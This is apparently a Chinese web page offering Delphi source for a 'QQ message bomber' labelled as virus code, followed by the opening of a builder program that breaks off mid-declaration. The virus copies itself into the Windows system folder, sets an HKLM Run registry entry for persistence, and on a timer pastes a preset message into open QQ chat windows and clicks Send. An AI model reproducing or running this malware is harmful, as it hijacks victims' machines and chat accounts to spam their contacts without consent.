QQ消息轰炸机的代码及原理

         QQ消息轰炸机的代码及原理       病毒文件代码
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program QQtailer;

uses
Windows,
Messages,
SysUtils,
Registry;

Const
MyMessage='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';     //消息长度150
FileName ='ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ';//文件名30
WaitTime ='TTTTTTTTTT'; //时间10

var
TimerHandle:WORD;
MSG:TMSG;
SystemPath :array[0..128] of char;
SysPath:String;
procedure TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);stdcall;
var
hLastWin,hButton : THandle;
szWindowText: array[0..MAX_PATH] of Char;
szTextLength: Integer;
QQName:String;
begin
hLastWin := GetForegroundWindow;
GetClassName(hLastWin,szWindowText,SizeOf(szWindowText));
if szWindowText <>'#32770' then Exit;
szTextLength := SendMessage(hLastWin, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
szWindowText[szTextLength] := #0;
if (Pos('聊天中',szWindowText)>0) or (Pos('群',szWindowText)>0) then
begin
  QQName:=Copy(szWindowText,Pos(' ',szWindowText)+1,Pos('聊天中',szWindowText)-Pos(' ',szWindowText)-2);
  hLastWin := FindWindowEx(hLastWin, THandle(nil),'#32770',nil);
  if hLastWin=0 then Exit;
  hButton := FindWindowEx(hLastWin, THandle(nil),nil,'发送(&S)');
  if hButton=0 then Exit;  
  hLastWin := FindWindowEx(hLastWin, THandle(nil),'AfxWnd42',nil);
  if hLastWin=0 then Exit;
  hLastWin := FindWindowEx(hLastWin, THandle(nil),'RICHEDIT',nil);
  if hLastWin=0 then Exit;
  QQName:=MyMessage;
  SendMessage(hLastWin,EM_REPLACESEL,180,Integer(Pchar(QQName)));
  SendMessage(hButton, WM_LBUTTONDOWN, 0, 0);
  SendMessage(hButton, WM_LBUTTONUP, 0, 0);
end;
end;

procedure StartTimer(Interval:DWORD);
begin
TimerHandle:=SetTimer(0,0,Interval,@TimerProc);
end;

Procedure AutoRun;
var
Reg:TRegistry;
begin
Reg:=TRegistry.Create;
try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False);
Reg.WriteString('SystemFile',SysPath);
finally
Reg.CloseKey;
Reg.Free;
end;

end;

begin
GetSystemDirectory(SystemPath,128);
SysPath:=SystemPath + '\' + FileName;
CopyFile(pchar(ParamStr(0)),Pchar(SysPath),False);
AutoRun;
StartTimer(StrToInt(WaitTime));
AutoRun;
while(GetMessage(Msg,0,0,0))do
begin
  AutoRun;
  TranslateMessage(Msg);
  DispatchMessage(Msg);
end;
end.

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                  制造机代码
        [我用了皮肤控件大家可能过不了编译]
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unit Unit1;

interface

uses
Windows, SysUtils,Forms, SkinData, DynamicSkinForm, spTrayIcon, SkinHint, SkinCtrls,
StdCtrls, SkinBoxCtrls,ShellAPI, spSkinShellCtrls, Classes,
Controls, Mask;

type
TForm1 = class(TForm)
  spDynamicSkinForm1: TspDynamicSkinForm;